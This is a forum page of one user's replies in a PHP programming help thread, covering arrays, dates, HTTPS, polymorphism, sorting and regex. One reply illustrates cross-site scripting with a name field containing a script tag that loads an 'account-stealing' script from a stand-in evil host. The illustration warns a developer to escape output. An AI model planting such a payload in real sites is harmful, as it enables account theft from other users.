Register a SA Forums Account here!
JOINING THE SA FORUMS WILL REMOVE THIS BIG AD, THE ANNOYING UNDERLINED ADS, AND STUPID INTERSTITIAL ADS!!!

You can: log in, read the tech support FAQ, or request your lost password. This dumb message (and those ads) will appear on every screen until you register! Get rid of this crap by registering your own SA Forums Account and joining roughly 150,000 Goons, for the one-time price of $9.95! We charge money because it costs us money per month for bills, and since we don't believe in showing ads to our users, we try to make the money back through forum registrations.
 
  • Post
  • Reply
Jabor
Jul 16, 2010

#1 Loser at SpaceChem
That's supposed to happen. PHP is executed on the server, and only the output is sent to the browser.

What you should be seeing is either the "Connected to database" message, or the error message if the connection fails - but if you see the PHP itself, then something's not working right.

Adbot
ADBOT LOVES YOU

Jabor
Jul 16, 2010

#1 Loser at SpaceChem

Scaramouche posted:

:words:

Your problem is that arrays are indexed starting from 0, rather than from 1.

Jabor
Jul 16, 2010

#1 Loser at SpaceChem
Here's some example code, which works as expected ($arr[sizeof($arr)] is NULL, $arr[sizeof($arr) - 1] is the last element): http://ideone.com/wa1Fs

Try using var_dump to print out the whole _trail structure - it might show up something that we're both missing.

Jabor
Jul 16, 2010

#1 Loser at SpaceChem

Sab669 posted:

Could you elaborate on this? Basically what the page was doing was auto-populating a form with that user's information from the database when they click to view their own profile for editing it. Also, as far as sanitizing input, everything is done through prepared statements.

What if I tell the system that my first name is <script src='http://evilsite.com/steal-your-account.js'>, and someone else views my profile page?

Or if the viewing-your-profile page is already done and is different to this, why not just look at how it's done there?

Jabor
Jul 16, 2010

#1 Loser at SpaceChem

Gnack posted:

Do you mean because you're expecting it to be -1 if it's not found?

Yes, expecting it to have a sane API was probably one reason for confusion.

Jabor
Jul 16, 2010

#1 Loser at SpaceChem
Try printing out the contents of $exif.

Jabor
Jul 16, 2010

#1 Loser at SpaceChem
strtotime is giving you the 31st day after the start of September just fine.

Yes, that's the 1st of October.

If you explicitly specify a day in your strtotime (for example, "last day of last month"), it should work as you expect.

Once you've got the last day of the month, use d to print out the day instead of t (which prints out the total number of days in the month). Using t is probably going to break for months where some of the days in the middle don't exist.

Jabor
Jul 16, 2010

#1 Loser at SpaceChem

Dyrejb posted:

I'm unsure what the best way to do this but how would I go about sorting a group of 10 integers into 2 near equal groups of 5? My current solution is where I sort by descending and then alternate putting the integers in each group but surely there must be a better method?

What do you mean by "near equal"? Can you give an example of the sort of input and output you expect?

Jabor
Jul 16, 2010

#1 Loser at SpaceChem
PHP is executed on the server, JavaScript is executed on the client. Transferring data between them is going to involve a network request of some kind.

What are you actually trying to achieve?

Jabor
Jul 16, 2010

#1 Loser at SpaceChem
Do the tables have the same columns in the same order? Union wants to combine things which have the same structure, which would explain why combining a single column from each table works, but trying to do it to everything fails.

Jabor
Jul 16, 2010

#1 Loser at SpaceChem
Wait, are you saying that you make all your class members public if you're the only one who's going to be working on a project?

Jabor
Jul 16, 2010

#1 Loser at SpaceChem
You could, in theory, use PHP as a general-purpose accepting language. But you almost certainly wouldn't unless you were trying to prove a point or win a bet or something, because PHP is really a terrible language for that. (It's a templating engine wrapped around a bunch of C APIs, neither of which are especially useful for general-purpose scripting).

The primary reason PHP is used on the web is due to first-mover advantage - it was the legitimately best option when it first appeared, and now, there are a lot of hosts that will run PHP and nothing else, plus a lot of existing software written for PHP. Outside of the web, though, any sane developer would choose a language more suited to general-purpose scripting and without PHP's general cruftiness.

Jabor
Jul 16, 2010

#1 Loser at SpaceChem
Submitting the form essentially reloads the page, so the user hits a new instance of your PHP code that doesn't have the foggiest idea about what variables got set last time.

If you want to store data so it can be accessed after the user reloads the page, use session variables. If you want to see what values the user set on the form, check $_POST.

Jabor
Jul 16, 2010

#1 Loser at SpaceChem
Are you using some funky database that doesn't support joins or something? Making an additional database request for every single datum pretty much defeats the point of having a relational database.

Your database is also capable of sorting things, and is likely to be much more efficient at it than if you try and do it in code.

Jabor
Jul 16, 2010

#1 Loser at SpaceChem

musclecoder posted:

Well, the URL and query string parameters aren't secure in an HTTPS request.

This is incorrect. HTTPS encrypts the entire HTTP connection, headers as well as the payload. The only thing an outside observer can see is things transmitted at a lower level - the IP:port number addresses at each end of the connection, the approximate amount of data sent in each direction, etc.

There are a bunch of reasons not to put the token as a URL parameter, but "people might sniff it even over https" isn't really one of them.

Jabor
Jul 16, 2010

#1 Loser at SpaceChem
If you litter your code with switch statements that check which database you're interacting with, adding another supported database is suddenly difficult because now you need to find and change every switch statement, if you're trying to track down a bug specific to one database implementation you need to track down every point at which the implementations diverge, etc.. A better way of implementing it is to have a dbInfo subclass for every database you're interacting with, that encapsulates all your database specific logic - the basic interface might have a method called getTableFactory that returns something that implements the TableFactory interface, where OracleDbInfo returns an OracleTableFactory from that method, PostgresDbInfo returns a PostgresTableFactory, etc.. Then when you need to add MySql support, all you need to do is write a new dbInfo subclass that implements the appropriate functionality. This is why polymorphism is generally preferred over switch statements.

That's not to say you should never use switch statements - writing a ladder of if statements because "switch statements are bad :downs:" is cargo-cult shitfuckery at its finest. But if you find that a switch statement looks like a good tool for the job, perhaps you should consider using polymorphism instead.

Jabor
Jul 16, 2010

#1 Loser at SpaceChem

Master_Odin posted:

How about :
code:
// data = is a string coming from user input
// field is a generic container which can hold one thing of any type
switch(toType) {
    case STRING:
        field.setString(data);
        break;
    case INTEGER:
        field.setInteger(data);
        break;
    case DOUBLE:
        field.setDouble(data);
        break;
    case DATE:
        field.setDate(data);
        break;
    ...
}
How would you solve that with polymorphism?

The overall architecture here is straight-up wonky, it's hard to offer suggestions beyond "rewrite the whole thing to fix some of the worst bits". Where does toType come from? What is the point of the field class anyway?

Jabor
Jul 16, 2010

#1 Loser at SpaceChem

stoops posted:

Say I want the info for box1. How do I go about getting the full text, as in everything from "<Box0>" to "</Box0>" ?

You don't actually want to do this. You have XML data - you want to use an XML parser, which will provide you with a more appropriate view on the data than trying to process it as raw text.

Jabor
Jul 16, 2010

#1 Loser at SpaceChem
Rather than trying to fudge everything into a string comparison, just do the actual comparison you want inside your compare function:

code:

usort($_coupons, function ($a, $b) { 
  preg_match('/- (\d*)(.*)/', $a, $a_parts);
  preg_match('/- (\d*)(.*)/', $b, $b_parts);

  if (strcmp($a_parts[2], $b_parts[2]) != 0)
    return strcmp($a_parts[2], $b_parts[2]);
  // names are the same, compare quantities
  return $a_parts[1] <=> $b_parts[1];
});

Jabor
Jul 16, 2010

#1 Loser at SpaceChem
FWIW, try-finally is often a better way to handle resource cleanup, e.g.:
code:

function generateCard($row) {
    $playerFile = fopen("players.csv","r");
    try {
      $counter = 0;
      while (($data = fgetcsv($playerFile)) !== false) {
          $counter++;
          if ($row == $counter){
              return $card;
          }
      }
    } finally {
      fclose($playerFile);
    }
}

Jabor
Jul 16, 2010

#1 Loser at SpaceChem
That database schema doesn't seem particularly useful for anything, I have to say.

If you made an actual relational schema (a separate attribute table with item_id, attribute_id, value fields), then it would be really easy to insert things correctly, and much easier to write queries based on the attributes.

Alternatively, if you're just trying to store this information and aren't interested in querying based on the values in it, storing all the attributes in a single JSON field will be much easier to work with.

Jabor
Jul 16, 2010

#1 Loser at SpaceChem
How "random" does this need to be? Do you need to generate the number of connections at each node according to some distribution, or is it enough that it just looks arbitrary?

How I'd go about it:
- For each node, add a link to a random node lower than it. This guarantees the graph is connected.
- Randomly add links between two nodes that aren't already linked (randomly pick a node, randomly pick a node that it's not already connected to) until you've reached the desired density of links.
- Shuffle the order of nodes in the list, if you need to hide the structure introduced in the first step.

Jabor
Jul 16, 2010

#1 Loser at SpaceChem
This is why I was asking about the distribution of number-of-connections - the problem gets much easier if you can just generate links randomly and trust that the final distribution will be good enough for your purposes. Generating a random distribution up-front and then trying to generate a network that exactly fits that distribution while also meeting your other criteria is a lot trickier.

Adbot
ADBOT LOVES YOU

Jabor
Jul 16, 2010

#1 Loser at SpaceChem

kiwid posted:

Nah, easy with a positive lookbehind.

PHP code:
preg_replace('/(?<=[[:blank:]])[[:blank:]]+/', '', $string)
https://regex101.com/r/FMcUXb/4

Or if you don't want the leading space either:

PHP code:
preg_replace('/(?<=\s)\s+/', '', $string)
https://regex101.com/r/FMcUXb/5

If you wanted to do this the easy way would be to just replace multiple spaces with a single space, instead of replacing all-but-one of the spaces with nothing.

But you're also missing the point, because the original question doesn't want to collapse multiple spaces if they're in the middle of an entry instead of at the start or end.

  • 1
  • 2
  • 3
  • 4
  • 5
  • Post
  • Reply